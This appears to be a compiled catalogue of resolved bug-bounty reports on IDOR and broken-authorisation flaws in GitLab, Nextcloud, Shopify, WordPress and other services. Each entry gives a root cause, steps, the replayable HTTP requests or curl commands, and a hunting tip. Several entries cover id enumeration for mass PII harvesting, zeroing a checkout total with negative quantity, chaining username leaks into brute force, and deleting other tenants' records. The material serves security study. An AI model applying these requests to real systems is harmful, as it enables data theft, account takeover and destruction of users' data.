Program gitlabSurface webChain IDOR on link_group_id -> read access to private group -&g
Root cause
The project group-sharing endpoint accepts a link_group_id without verifying the caller may access that group; sharing your own dummy project with a private group's id grants you read visibility of that private group, and a follow-up API call then leaks its private projects.
Method
- Create your own dummy project (you are owner)
- Submit the group_links share form but change link_group_id to the target private group's id
- You now have read access to the private group's name/members
- Call /api/v3/groups/<id>/projects.json with your token to dump the private projects
- Iterate ids to enumerate all private groups
POST /jane/dummy-project/group_links HTTP/1.1
Host: TARGET
utf8=%E2%9C%93&authenticity_token=...&link_group_id=7&link_group_access=40
# then:
GET /api/v3/groups/7/projects.json?private_token=<token>
Insight — 'Share with' / 'add collaborator' features let you supply a foreign object id; if the server doesn't check you can access that object, you laundering yourself into it. Chain the granted read with list APIs to exfiltrate the rest.
Real-world example
IDOR behind a valid CSRF nonce (object id not authorized)
◆ Medium
Specimen #91599 · automattic · awarded · 16 votes · resolved
Program automatticSurface web
Root cause
The support-ticket reply endpoint validated a per-request security nonce but never checked ownership of the ticket 'number' parameter, so swapping it posts comments on any user's ticket.
Method
- Create a ticket and capture the reply request (carries a security nonce)
- Change the number param to a victim's ticket id
- Comment is added to the victim's ticket
POST /wp-admin/admin-ajax.php
action=wc_zendesk_reply_ticket&security=e942b8f2d4&reply=HACKED!!!!!&number=VICTIM_TICKET_ID&solved=false
Insight — A valid anti-CSRF nonce does not imply object-level authorization; always swap the object id even when a token is present — CSRF protection and access control are orthogonal.
Real-world example
Address IDOR via checkout param, chained with negative-quantity price bypass
◆ Medium
Specimen #1398905 · glovo · none · 16 votes · resolved
Program glovoSurface webChain address IDOR (customerAddress++) + business-logic price bypaTag account-takeover
Root cause
The checkout request references the buyer's saved address by a sequential numeric id (customerAddress); the server does not verify the address belongs to the requester, so incrementing the id enumerates any user's address, which is then echoed back in the confirmation email.
Method
- Add a product and proceed to checkout; capture the checkout POST in Burp.
- Change the numeric customerAddress value to another id and submit; the confirmation email returns the address belonging to that id.
- To avoid the payment gate, set a product's quantity qt to -1 so the order total becomes 0 (free), letting the flow complete and emit the confirmation email.
- Send to Intruder over a numeric range to mass-harvest addresses.
POST /checkout ...
{"customerAddress":3038813, "products":[{"id":..., "qt":-1}]} # increment customerAddress; qt=-1 zeroes the total
Insight — Object references that are small integers in checkout/order bodies are prime IDOR targets; the leaked data often comes back out-of-band (confirmation email) rather than in the HTTP response. Negative quantity/price is a reliable way to zero out an order total to reach a later step that echoes victim data.
Real-world example
Cross-user object move via unchecked stackId
◆ Medium
Specimen #867052 · nextcloud · awarded · 15 votes · resolved
Program nextcloudSurface api
Root cause
Nextcloud Deck's move-card PUT trusts the destination stackId in the body without verifying the target stack belongs to the requester, so a card can be pushed into another user's board.
Method
- Create a card you own (POST /apps/deck/cards)
- Issue the move request (PUT /apps/deck/cards/<id>) and intercept it
- Change stackId to a stack belonging to another user; server returns 200 and adds the card there
PUT /apps/deck/cards/13 HTTP/1.1
{"title":"SOME_TEST","stackId":6,"type":"plain","id":13, ...}
Insight — For any 'move/assign to container X' action, fuzz the destination-ID parameter with IDs owned by other tenants. Servers commonly authorize that you own the object being moved but forget to authorize the destination.
Real-world example
Mass-assignment id in update body overwrites another object
◆ Medium
Specimen #1094063 · nextcloud · none · 15 votes · resolved
Program nextcloudSurface api
Root cause
Nextcloud Mail's account-update PUT does not verify the account id belongs to the caller; supplying an id in the JSON body points the update/read at another user's mail account, leaking message metadata.
Method
- Add your own mail account and capture the PUT /apps/mail/api/accounts/<id> request
- Append "id":<victim account id> to the JSON body and resend
- Subsequent message-list calls return the victim account's mail subjects/senders
PUT /index.php/apps/mail/api/accounts/%7Bid%7D
Content-Type: application/json
{"accountName":"bob","emailAddress":"bob@localhost.test", ... ,"id":1}
Insight — When an update endpoint takes the object id in the path AND the model binds an id from the body, set the body id to a victim's; ORMs that mass-assign will retarget the operation. Always test id/owner fields injected into the request body.
Real-world example
IDOR on Rails REST update route (settings by numeric id)
◆ Medium
Specimen #853130 · shopify · USD 750 · 13 votes · resolved
Program shopifySurface web
Root cause
The Stocky settings-update endpoint identifies the target record by a numeric id in the URL path (/settings_for_low_stock_variants/:id) with no ownership check, so one store can edit another store's settings.
Method
- Set up two Shopify stores (A, B), install Stocky on both
- In store A, change Low Stock Variant column settings and intercept the update PUT
- Swap the trailing numeric id in the path for store B's settings id
- Replay; 302 confirms the change lands on store B
POST /settings_for_low_stock_variants/111112 HTTP/1.1
Host: app.stockyhq.com
Content-Type: application/x-www-form-urlencoded
_method=put&authenticity_token=...&settings_for_low_stock_variant%5Bshow_sku%5D=0&commit=Update
Insight — Rails-style REST update routes /resource/:id are prime IDORs; the CSRF token is per-session but the object id is not authorized. Enumerate/replace the trailing id for another tenant's record.
Real-world example
Cross-tenant write via client-supplied parent id (boardId)
◆ Medium
Specimen #1450117 · nextcloud · awarded · 13 votes · resolved
Program nextcloudSurface api
Root cause
The Nextcloud Deck stack-update endpoint accepts a client-supplied boardId and creates/moves the stack (with all its cards) onto that board without checking the caller can access the target board.
Method
- As user A, rename an owned stack and intercept the PUT /apps/deck/stacks/{id}
- Change boardId to the victim's board id
- Replay; 200 confirms the stack (with tasks/images/labels) is grafted onto the victim's board
PUT /apps/deck/stacks/31 HTTP/1.1
Host: nextcloud.example.com
Content-Type: application/json;charset=utf-8
requesttoken: <token>
{"title":"IDOR","boardId":<VICTIM_BOARD_ID>,"deletedAt":0,"order":0,"id":31}
Insight — When an update payload carries a parent/owner id (boardId, projectId, groupId), swap it to a victim's id; servers frequently authorize the child object (the stack) but not the newly-referenced parent. boardId is small and enumerable (1..N).
Real-world example
IDOR on third-party analytics endpoint leaks all users' PII
◆ Medium
Specimen #1073420 · lab45 · none · 13 votes · resolved
Program lab45Surface apiChain public userID in profile HTML -> substitute into uid para
Root cause
A profiles endpoint keys on a client-supplied uid with no authorization check; because the platform exposes each user's numeric userID publicly (in profile page HTML), any userID can be substituted to retrieve that user's email/name/id.
Method
- Capture the legitimate request that posts your own uid to the profiles endpoint
- Harvest a victim's userID from their public profile page source (search 'userID')
- Replace uid with the victim's id (and randomize the trailing path segment) and resubmit
POST /observe/v2/profiles/<random> HTTP/1.1
Host: fast.trychameleon.com
...
{ "uid": "<victim_userID>", ... }
-> returns victim email, name, surname, profile_id
Insight — Third-party SaaS widgets (analytics, chat, onboarding like Chameleon) embedded in the target often take a uid you control and lack authz. Combine with an ID leaked elsewhere on the target (public profile HTML often embeds numeric userID) to turn 'known id' into mass PII extraction.
Real-world example
IDOR on activity id lets non-members reply/delete others' activity
◆ Medium
Specimen #837256 · wordpress · awarded · 12 votes · resolved
Program wordpressSurface web
Root cause
BuddyPress activity reply/delete authorizes on the activity id alone and does not verify the actor is a member of the group that owns the activity, so swapping the id acts on arbitrary groups' activities.
Method
- As user A in group A, create an activity and capture the reply/delete request
- As user B (member of a different public group, not group A), perform reply/delete and capture the request
- Replace the activity id with group A's activity id
- Request succeeds without membership
# capture the reply/delete request, then swap the activity id:
# id_A -> id_B (target activity in a group you never joined)
Insight — Classic BOLA: the object reference (activity/comment/post id) is trusted without re-checking the actor's relationship to the object's parent container. Always A-B test by swapping ids across tenants/groups you don't belong to.
Real-world example
AJAX tab-content API selects by client user_id
◆ Medium
Specimen #313050 · eternal · awarded · 11 votes · resolved
Program eternalSurface api
Root cause
A profile tab-content endpoint returns data for whatever user_id is supplied in the POST body, with no ownership check.
Method
- Open the profile 'treat subscriptions' tab and intercept the POST
- Replace user_id with a victim's id
- Read the victim's subscription id, purchase date and validity
POST /php/filter_user_tab_content.php HTTP/1.1
user_id=<VICTIM_ID>&tab=treat_subscription&order_history_offset=0&order_history_limit=20
Insight — Endpoints named filter_*/get_*/tab_content that take a user_id are textbook IDORs; swap the id. Also try altering offset/limit for bulk pulls.
Real-world example
IDOR via sequential media (photo) ID enumeration
◆ Medium
Specimen #227781 · vkcom · $200 · 11 votes · resolved
Program vkcomSurface web
Root cause
Photos suggested to a public group are addressed by a predictable sequential photo_id with no ownership/authorization check, so incrementing the ID lets a different account view and save other users' suggested (non-public) photos.
Method
- Take a known photo_id from the group's suggested queue.
- Increment/decrement the numeric photo_id (123456 -> 123457 -> ...).
- Save/render each existing ID from an account that should not have access.
# increment sequential identifier to reach other users' media
photo_id=123456 -> 123457 -> 123458 ...
Insight — Sequential numeric media IDs are a classic IDOR surface; if any object is fetchable by raw incrementing ID, test cross-account access by enumerating neighbors of a known-good ID.
Real-world example
IDOR username disclosure feeding credential brute force
◆ Medium
Specimen #1093908 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webChain IDOR username leak -> no-rate-limit login brute force -&gTag account-takeover
Root cause
A directory/profile endpoint reflects another user's displayname/username via a manipulated identifier (IDOR); that username is the required login credential, and the login panel has no rate limiting.
Method
- Find the IDOR that returns another account's displayname/username (swap your identifier in the profile URL)
- Harvest the target's exact login username
- Brute-force the password on the login panel, which lacks rate limiting
GET https://TARGET/profile/OTHER_USER_REF -> {"displayname":"<victim_username>"}
Insight — Username/displayname leaks are only 'low' in isolation but become the first half of an ATO chain when the leaked value is the login identifier and the auth endpoint is unthrottled. Always check whether an IDOR-leaked field is a credential prerequisite.
Real-world example
Private group-name disclosure via parent_id on creation form
◆ Medium
Specimen #215384 · gitlab · none · 10 votes · resolved
Program gitlabSurface web
Root cause
The subgroup-creation form pre-fills the parent group's name from a parent_id parameter without authorizing the user against that private parent, disclosing private group names even though direct access 404s.
Method
- As an unprivileged user, visit /groups/new?parent_id=N
- Observe the private parent group's name rendered in the form
- Increment parent_id to enumerate private group names
GET /groups/new?parent_id=2
Insight — Object-creation/child forms that render a parent object's name from an id param leak that name even when the normal route returns 404. Enumerate the parent id.
Real-world example
Sequential id guarded only by a brute-forceable short code
◆ Medium
Specimen #498351 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
Ticket records are addressed by a sequential PID and 'protected' by a 4-digit random RNo code that is brute-forceable with no rate limiting, exposing and allowing edit of every ticket's PII.
Method
- Register to obtain a ThankYou page URL with PID and RNo
- Decrement PID and brute the 4-digit RNo per PID (Burp Intruder, 20-30 threads)
- On a hit, read/modify the ticket (name, email, etc.)
GET /daumw2017/ThankYou.aspx?PID=<SEQ_ID>&RNo=<0000-9999> HTTP/1.1
Cookie: ASP.NET_SessionId=...
Insight — A sequential id plus a short secret code is not access control -- if there is no rate limiting you brute the code (10^4 space) for each id. Look for confirmation-number / thank-you / lookup pages.
Real-world example
Derived resource that doesn't inherit ACL, enumerable by id
◆ Medium
Specimen #213942 · phabricator · awarded · 10 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
The 'Show Raw File (Right)' action generates a new File object from a policy-restricted diff, but that generated file inherits no policy, so any user can read it by guessing/enumerating sequential file ids.
Method
- Victim views a restricted diff and clicks View Options > Show Raw File, creating a File
- Attacker enumerates sequential file ids (/file/info/F<n>/ or data URL)
- Download the raw file content - the private diff, despite the ACL on the diff itself
GET /file/data/.../F<incrementing_id>/raw # brute the F-number space
Insight — Files/exports/thumbnails generated from a protected object frequently drop the source's access policy and get sequential ids. Whenever a feature renders/exports restricted content, test the derived artifact's URL directly and enumerate its id.
Real-world example
IDOR on a share-update endpoint: recipient extends their own share expiration
◆ Medium
Specimen #447494 · nextcloud · USD 100 · 9 votes · resolved
Program nextcloudSurface api
Root cause
The files_sharing update-share endpoint (PUT shares/<id>) does not verify the requester owns the share when changing its expiration date. A share recipient can PUT a new expireDate on the share ID granted to them, prolonging access indefinitely (CVE-2020-8122).
Method
- As the owner, share a file with expiration and note the numeric share ID in the request
- As the recipient, template a legitimate PUT share request and swap in the victim share ID
- Set expireDate further out; recipient keeps access to the (living) file
PUT /ocs/v2.php/apps/files_sharing/api/v1/shares/<SHARE_ID> HTTP/1.1
OCS-APIREQUEST: true
Content-Type: application/x-www-form-urlencoded
expireDate=2020-05-17
Insight — Share/permission objects are prime IDOR targets: enumerate the integer share ID and PUT attribute changes (expireDate, permissions, password) from the recipient account. Update handlers often authorize 'can see the share' but not 'owns the share'.
Real-world example
Destructive delete via GET + sequential id
◆ Medium
Specimen #1627974 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface web
Root cause
A delete action is exposed as a GET request that selects the target company by a sequential id with no ownership check, so any id can be deleted by enumeration.
Method
- Register a vendor account and create a company
- Click delete and intercept the GET /Vendor/Companies/Delete/{id}
- Change the id to another company's id and forward
- Enumerate ids to delete all companies
GET /PATH/Vendor/Companies/Delete/71712 HTTP/1.1
Host: TARGET
Cookie: .AspNetAuth=...
Insight — State-changing deletes performed via GET + sequential id are mass-destruction IDORs (and CSRF-able). Hunt for /Delete/{id}, /remove/{id} routes and try neighboring ids.
Real-world example
Report-modal UUID IDOR + persistence after role revocation
◆ Medium
Specimen #574639 · x · awarded · 9 votes · resolved
Program xSurface webChain UUID IDOR -> cross-account report/PII read; persists post
Root cause
A report_modal endpoint returned any report by its UUID with no ownership check, so any logged-in user could read others' reports (incl. owner email); worse, a member removed from an account retained the UUIDs and kept seeing live, updated report data after access was revoked.
Method
- Create a report to learn the endpoint /reports/custom/report_modal/{UUID}/
- Substitute other reports' UUIDs to read data belonging to other accounts
- Demonstrate that a saved UUID keeps returning fresh data even after the member's account role is removed
GET https://app.mopub.com/reports/custom/report_modal/OTHER_UUID/ HTTP/1.1
Cookie: <your session>
Insight — Two lessons: (1) UUID != authorization - object endpoints still need per-request ownership checks; (2) test whether access artifacts (IDs/tokens a former member captured) keep working after their access is revoked. Revocation that doesn't invalidate known object references is a real, demonstrable IDOR.
Real-world example
Missing authz on ActivityPub post endpoint + guessable time-based token
◆ Medium
Specimen #921717 · nextcloud · none · 8 votes · resolved
Program nextcloudSurface api
Root cause
displayPost controller returns any message (including private/direct) with no authentication or authorization check; the message token is derived from unix time and therefore brute-forceable.
Method
- Craft a request to the post-display endpoint with an Accept: application/activity+json header
- Supply a candidate token (digits based on unix timestamp) to fetch a message
- Enumerate tokens across the time window to harvest private messages
curl -X GET -H 'Accept: application/activity+json' 'http://TARGET/apps/social/@USERNAME/TOKEN' | jq
Insight — Two-in-one: unauthenticated object endpoint plus a predictable identifier. When an ID looks numeric/monotonic (timestamps, counters), missing authz becomes mass extraction. Always test object endpoints unauthenticated AND assess ID entropy.
Real-world example
Missing ownership clause in ORM mapper update/delete
◆ Medium
Specimen #1579820 · nextcloud · none · 7 votes · resolved
Program nextcloudSurface api
Root cause
Nextcloud Mail's LocalAttachmentMapper update/delete operate on an attachment id without verifying the caller owns it, letting an attacker overwrite local_message_id or delete another user's outbox attachment row.
Method
- Compose a message and attach a file, then send (into outbox)
- Copy the xhr request and modify the attachment ids
- Overwrite local_message_id for another user's attachment or delete the row
modify attachment id(s) / local_message_id in the compose/outbox xhr to reference another user's attachment
Insight — Audit ORM mapper update()/delete() methods that key only on primary id -- a WHERE missing the owner/user_id column is an IDOR. (root cause visible in LocalAttachmentMapper.php lines 89-118)
Real-world example
Cross-tenant object read via hidden mass-assignment field (subject_id)
◆ Medium
Specimen #93921 · shopify · USD 2500 · 6 votes · resolved
Program shopifySurface web
Root cause
The link-list editor let the user set link_list[links][][subject_id] to an arbitrary object id with no ownership check, so a merchant could reference another store's hidden collections/products/pages and have their names rendered back.
Method
- Go to /admin/link_lists and add a link list, selecting an object type (e.g. collection)
- Inspect element and change link_list[links][][subject_id] to an id belonging to another store
- Save; on reload the referenced object's name (incl. hidden collections/products/pages) is displayed
# in the add-link-list form, tamper the hidden field:
link_list[links][][subject_id] = OTHER_STORE_OBJECT_ID
Insight — Object-reference fields in create/update forms (subject_id, parent_id, *_id) are classic IDOR/mass-assignment sinks: swap the id to another tenant's and see if the app resolves and echoes it. Even a name-only leak breaks tenant isolation. Fuzz sequential ids to enumerate hidden objects.
Real-world example
Nested-resource scope confusion: sub-resource looked up globally, not under the authorized parent
◆ Medium
Specimen #134292 · gitlab · none · 6 votes · resolved
Program gitlabSurface apiChain webhook read IDOR -> leaked secret webhook URL/token ->Tag webhook
Root cause
An API nests a sub-resource under a project the caller owns (/projects/{mine}/hooks/{id}) but resolves the sub-resource with a global finder (ProjectHook.find) instead of scoping to the parent (user_project.hooks.find), so any hook/note id from another (private) project is readable/deletable.
Method
- As attacker, create a project you own (id = mine)
- Reference a victim sub-resource id (webhook, or note via polymorphic noteable_id) under your project path
- Read/delete/create it - the server ignores the parent scope and finds the object globally
- For webhooks, the response leaks the secret webhook URL/token before deletion
# read+delete another project's webhook via your own project path:
curl -X DELETE -H "PRIVATE-TOKEN: {attacker}" "http://gitlab/api/v3/projects/{mine}/hooks/{victim_hook_id}"
# -> leaks {"url":"http://secret.com/","project_id":24,...}
# 134299 variant: post notes on a cross-project issue via polymorphic noteable_id
curl -X POST -H "PRIVATE-TOKEN: {attacker}" "http://gitlab/api/v3/projects/{mine}/issues/{victim_issue_id}/notes" --data "body=@all please fix this."
Insight — When an id is nested under an authorized parent, verify the backend actually scopes the lookup to that parent. Global finders (Model.find(id) vs parent.children.find(id)) are a recurring source of cross-tenant IDOR. Test by referencing another tenant's sub-resource id under a project/org you control. Webhook reads are high value - they leak secret callback URLs/tokens.
Real-world example
Create-child-resource endpoint does not validate parent ownership (IDOR)
◆ Medium
Specimen #1129996 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface api
Root cause
The Nextcloud Mail 'create alias' API takes the account id from the URL path and neither checks that the account belongs to the current user nor that it exists, so a user can create aliases attached to another user's mail account.
Method
- Log in as a normal user and capture the create-alias request.
- Change the numeric account id in the path (/apps/mail/api/accounts/<id>/aliases) to another user's (or a non-existent) id.
- The alias is created against that arbitrary account id.
curl 'http://TARGET/index.php/apps/mail/api/accounts/2000/aliases' \
-H 'requesttoken: <token>' -H 'Content-Type: application/json;charset=UTF-8' \
--data-raw '{"aliasName":"x","alias":"attacker@test.local"}'
Insight — For any nested REST route .../<parentId>/<childCollection>, tamper the parentId. Missing 'does this parent belong to me / does it exist' checks are classic write-side IDOR; test both a victim id and a bogus id.
Real-world example
IDOR exposing any user's email via id in URL
◆ Medium
Specimen #42154 · nearby · none · 5 votes · resolved
Program nearbySurface web
Root cause
A purchase page keyed off a user-supplied PID in the URL and rendered that user's email; incrementing/substituting another PID returned other users' email addresses (which double as login usernames).
Method
- Reach a page that embeds your own object id in the path (/points/buy/<PID>)
- Substitute another user's PID
- Observe their email is disclosed on the page
GET /points/buy/OTHER_USER_PID HTTP/1.1
Host: TARGET
# response contains OTHER_USER_PID's email address
Insight — Any page that embeds an account identifier in the URL is an IDOR candidate; swap the id and check for leaked PII. Emails are high value when they are the login credential (enables targeted credential attacks). Fix is to derive identity from the session, not the URL.
Real-world example
BOLA: enumerate numeric member IDs to read PII / send messages
◆ Medium
Specimen #847185 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface apiChain IDOR read -> mass PII enumeration + unsolicited messaging
Root cause
A community/membership API accepts an attacker-supplied numeric RequesteeId with no ownership check, so incrementing the ID discloses arbitrary members' profile PII and lets any registered user send them messages.
Method
- Register a normal account and capture a request that references another user by numeric id (RequesteeId).
- Increment/iterate the id in Burp Intruder.
- Read returned profile PII (DisplayName, Username, ProfileUrl, etc.) and/or send messages to each id.
POST /█████ HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
RequesteeId=<incrementing_id>&RequestMessage=+
// response returns the target User object: DisplayName, Username, ProfileUrl, Id ...
Insight — Sequential numeric object references in social/membership APIs are prime BOLA. Iterate the id and diff responses; a self-signup account plus an unvalidated RequesteeId often yields both mass PII disclosure and an unsolicited-message primitive.
Real-world example
Read private photo via video cover-preview id substitution
◆ Medium
Specimen #78516 · ok · awarded · 3 votes · resolved
Program okSurface web
Root cause
The custom-cover preview action accepts an attacker-controlled attached photo id and returns a signed CDN image URL for it without checking the requester can view that photo.
Method
- Start choosing a video cover; capture the CustomCoverPreview request
- Replace the attached photo id in st.a.attachedIds with a victim's private photo id
- Server responds with a signed getImage CDN URL rendering the private photo
POST /dk?cmd=CustomCoverPreview&st.a.hookId=...&st.a.objectId=customCover_...
st.a.attachedIds=%5B%7B%22type%22%3A%22PHOTOODKL%22%2C%22id%22%3A%22<victim_photo_id>%22%7D%5D
Insight — Image/preview/cover endpoints that echo back a signed media URL are IDOR sinks: the signing happens AFTER the id is trusted, so any id you inject gets a valid signed URL that defeats direct CDN ACLs. Fuzz attachment-id params in preview/thumbnail flows.
Real-world example
Read arbitrary private group chat by reusing chat id in another session
◆ Medium
Specimen #79046 · ok · awarded · 3 votes · resolved
Program okSurface web
Root cause
The conversation-info command authorizes by the presence of a chat id (d.chi) rather than by the requester's membership, so a non-participant can enumerate participants and messages.
Method
- Obtain/observe a victim group chat id (d.chi)
- From the attacker session, issue the ToolbarMessages/conversation-info request with that d.chi
- Receive full conversation info: participants and messages
POST /settings/feed/apps?cmd=ToolbarMessages&st.cmd=userConfigFeed&st.type=2
tlb.act=act.rci&d.chi=<victim_chat_id>&d.coi=<companion_id>&d.wh=544
Insight — Messaging 'get conversation' RPCs frequently authorize on conversation-id alone. Pull a chat id from any leaked/enumerable source and replay from an unrelated session to read others' threads.
Real-world example
Cross-tenant object reference via unscoped collection_id (tax override)
◆ Medium
Specimen #93004 · shopify · awarded · 3 votes · resolved
Program shopifySurface web
Root cause
The tax-override endpoint accepts a collection_id without verifying it belongs to the requester's shop, so an attacker can reference (and thereby confirm/leak the name of) another shop's collections, including hidden ones.
Method
- Go to Settings -> Taxes -> Add a tax override and select one of your collections
- Edit the tax_override[collection_id] hidden field (or send the request directly) to another shop's collection id
- Save; the override attaches and the foreign (hidden) collection name appears in the Tax overrides table
POST /admin/settings/taxes/*/override
authenticity_token=__TOKEN__&tax_override[is_shipping]=false&tax_override[collection_id]=<other_shop_collection_id>&tax_override[tax_override_regions_attributes][0][zone]=state::TX&tax_override[tax_override_regions_attributes][0][rate]=50
Insight — Multi-tenant apps must scope EVERY object id to the current tenant. Where a form references a secondary object by id (collection/product/customer), swap it to a foreign/hidden id; a successful attach both proves the IDOR and can leak the object's name.
Real-world example
Reconstruct any private video via thumbnail-generation IDOR
◆ Medium
Specimen #43850 · vimeo · awarded · 3 votes · resolved
Program vimeoSurface web
Root cause
The select_thumb endpoint accepts an arbitrary clip_id and returns a generated frame URL without checking the requester owns/can view the clip; iterating the time parameter yields frames across the whole private video.
Method
- Capture the select_thumb request from your own upload
- Replace clip_id with a victim's private video id
- Iterate the time parameter to extract frames spanning the entire private video
POST /upload/select_thumb HTTP/1.1
Host: vimeo.com
X-Requested-With: XMLHttpRequest
clip_id=<victim_private_clip_id>&token=<token>&time=51.283
Insight — Thumbnail/frame/preview generators are IDOR sinks that also break confidentiality of the WHOLE media: a per-timestamp render lets you iterate time to reconstruct video that direct download would deny. Fuzz clip/media ids on any render endpoint.
Real-world example
IDOR on dead/legacy 'zombie' endpoint found via mobile app reversing
◆ Medium
Specimen #3085742 · bykea · awarded · 126 votes · resolved
Program bykeaSurface mobile-android
Root cause
A hardcoded legacy API endpoint, no longer used by the app but still live, lacked trip-ownership validation and leaked driver details for other users' trips.
Method
- Decompile the Android APK
- Grep for hardcoded/unused API endpoints (zombie routes)
- Call the legacy endpoint with another user's trip reference
- Sensitive driver/trip details are returned without authz
Insight — Reverse-engineer mobile apps for hardcoded/deprecated endpoints; retired routes often miss the authorization added to their replacements. Limited disclosure; methodology per program summary.
Real-world example
Trip hijack via unvalidated trip_id on accept/acknowledge endpoints
◆ Medium
Specimen #2867022 · bykea · awarded · 77 votes · resolved
Program bykeaSurface apiTag account-takeover
Root cause
State-changing ride endpoints /acknowledged_the_offer and /accept trust a caller-supplied trip_id/user_id without verifying ownership, so an attacker substitutes a victim id to force ride state and expose PII.
Method
- Capture the /acknowledged_the_offer and /accept requests during a normal ride
- Substitute the victim's id/trip_id into the requests
- Force an unsuspecting passenger into a ride, or compel a driver to accept a trip they cancelled/went offline from
Insight — IDOR is not only read: the same missing ownership check on ACTION endpoints turns into hijacking and forced state transitions. Test write/accept/cancel endpoints with foreign ids, not just GET.
Real-world example
Attachment download via guessable numeric ID with no authorization check
◆ Low
Specimen #668439 · bcm · awarded · 114 votes · resolved
Program bcmSurface mobile-android
Root cause
The attachment endpoint keys files by a small time-derived numeric ID and does not enforce the Authorization header, so any attachment is retrievable by ID enumeration, unauthenticated.
Method
- Send an attachment through the app and capture GET /attachments/<id>
- Note the ID is a sequential/time-based number, not a random token
- Change the ID in Repeater (and even delete the Authorization header) to fetch other users' attachments
GET /attachments/938540538 HTTP/1.1
Host: TARGET
# drop Authorization header; iterate the numeric id
Insight — Two classic failures compounded: predictable object IDs + auth not enforced on the object route. Always retest object endpoints with the auth token removed, and check whether IDs are sequential/timestamp-derived rather than unguessable.
Real-world example
Delete message after ban/leave via cross-channel method.call
◆ Low
Specimen #2028450 · rocket_chat · none · 85 votes · resolved
Program rocket_chatSurface api
Root cause
deleteMessage validates by message id only and not current room membership, so a user removed/banned from a channel can still delete their earlier messages there by replaying a delete request captured in a channel they still belong to.
Method
- Send a message in the target channel and capture its message id
- Leave or get banned from the channel
- In any channel you can still access, capture a deleteMessage method.call and swap in the earlier message id
POST /api/v1/method.call/deleteMessage (id = <message_id_in_left_channel>)
Insight — Permission checks tied to 'can act on this message id' but not 're-verify room membership at action time' let evicted users tamper. Test whether destructive actions re-check the current authorization context, not just object ownership at creation.
Real-world example
Collaborator PII leak via /participants JSON endpoint
◆ Low
Specimen #1918362 · security · awarded · 78 votes · resolved
Program securitySurface apiTag account-takeover
Root cause
A participants/members listing endpoint returns the raw email address of an invited-but-unregistered collaborator; the API over-exposes PII that the UI never renders.
Method
- Add a collaborator to your own report using the email of a user who has no platform account
- Fetch GET /reports/<REPORT_ID>/participants
- Read the collaborator's email out of the JSON response
GET /reports/<REPORT_ID>/participants HTTP/2
Host: hackerone.com
Accept: application/json
X-Requested-With: XMLHttpRequest
-> {"participant_type":"ReportParticipants::CollaboratorInvitation","id":4049018,"email":"victim@gmail.com","bounty_weight":"0.3"}
Insight — When a UI hides a field (email of pending invitees), diff the backing JSON/GraphQL endpoint - the API often serializes far more than the page shows. Excessive data exposure on membership/participant listings is a recurring PII sink.
Real-world example
Reputation abuse via hacker_username IDOR on feedback endpoint
◆ Low
Specimen #262661 · security · none · 78 votes · resolved
Program securitySurface web
Root cause
POST /hacker_reviews trusts a hacker_username parameter and posts the public/private feedback to that arbitrary user instead of the actual reviewed reporter, with no binding between the review target and the report's real reporter.
Method
- As a program member, close a report and open the review form
- Capture POST /hacker_reviews with hacker_username, report_id, positive, behavior, private_feedback
- Change hacker_username to any victim and forward; the review lands on the victim's profile
POST /hacker_reviews
hacker_username=<victim>&report_id=<id>&positive=true&behavior=friendly&private_feedback=...
Insight — Any endpoint that names its target subject in a client-supplied username/id field (rather than deriving it server-side from the referenced object) is an IDOR: the subject and the object it should be tied to are decoupled.
Real-world example
Unauth access to private files via direct Active Storage / signed-storage URLs
◆ Low
Specimen #3467641 · basecamp · $100 · 69 votes · resolved
Program basecampSurface webTag file-upload
Root cause
Files served through Rails Active Storage (or any blob/redirect storage layer) are reachable by their URL alone; the storage route performs no per-request authorization, so anyone with the URL (leaked in HTML/markup or shared) reads private attachments.
Method
- As User A upload a file to a card and open the rendered preview/download link
- Copy the Active Storage URL from the page markup or browser request
- Open an unauthenticated session (or a different user) and request the same URL
- File/preview is served with no auth check
GET /rails/active_storage/blobs/redirect/<signed_id>/<filename>
(or /rails/active_storage/representations/... for previews) with no session cookie
Insight — Treat storage/CDN blob routes as their own attack surface: after finding any file URL, replay it logged-out and cross-user. Rails Active Storage disk/proxy URLs, S3 pre-signed links and /representations/ preview routes commonly lack tenant authz even when the app UI enforces it.
Real-world example
Delete arbitrary users' media via unvalidated object-id param (no ownership check)
◆ Low
Specimen #404797 · eternal · $600 · 67 votes · resolved
Program eternalSurface webTag account-takeover
Root cause
A delete action authorizes the parent scope (the store/res_id or the session) but never verifies that the referenced child object (photo_id / strUserId) belongs to that scope, so any object ID can be deleted.
Method
- With store 1, start deleting a photo and capture the request
- Note the photo_ids[] value (discoverable from any store's public page)
- From store 2's session (different res_id + cookies) replay the request
- Swap in the victim photo_ids[] value and send; photo is deleted
GET /php/client_manage_handler?res_id=<MINE>&photo_ids%5B%5D=<VICTIM_PHOTO_ID>&removable=1&case=remove-active-photo HTTP/1.1
X-Requested-With: XMLHttpRequest
Insight — On any delete/modify endpoint, keep your own valid parent IDs (they pass the coarse authz check) and only swap the leaf object ID. Ownership is frequently checked one level too high. State-changing GET requests make this trivially exploitable and CSRF-able. Even non-sequential GUID object IDs (see 2213900) still lack the ownership check and can be enumerated/leaked.
Real-world example
Cross-tenant metadata leak via bulk CSV export header (report_ids[])
◆ Low
Specimen #510759 · security · none · 67 votes · resolved
Program securitySurface web
Root cause
A bulk export builds its column set from all referenced object IDs without filtering out objects from other tenants, so supplying a foreign report ID leaks that tenant's custom-field IDs (and thus their existence/count) in the CSV header.
Method
- Submit a report export request with report_ids[] containing one of your IDs and one foreign ID
- Inspect the CSV header row
- Custom-field columns belonging to the foreign program's report appear, revealing cross-tenant attribute IDs
POST /reports/export HTTP/1.1
----------868143055
Content-Disposition: form-data; name="report_ids[]"
17
----------868143055
Content-Disposition: form-data; name="report_ids[]"
118
Insight — Bulk/batch endpoints (export, aggregate, 'compare', multi-fetch) often leak via metadata (headers, column names, counts, error rows) even when row bodies are filtered. Mix an owned ID with a foreign ID and diff the structure, not just the data.
Real-world example
Missing participant check on DM reply lets you post into any thread
◆ Low
Specimen #490782 · wordpress · awarded · 66 votes · resolved
Program wordpressSurface webChain mass DM injection -> phishing; widens surface if combinedTag account-takeover
Root cause
BuddyPress messages_send_reply AJAX action does not verify the caller is a participant of the target thread_id, so any authenticated user can inject a reply into arbitrary, sequential thread IDs.
Method
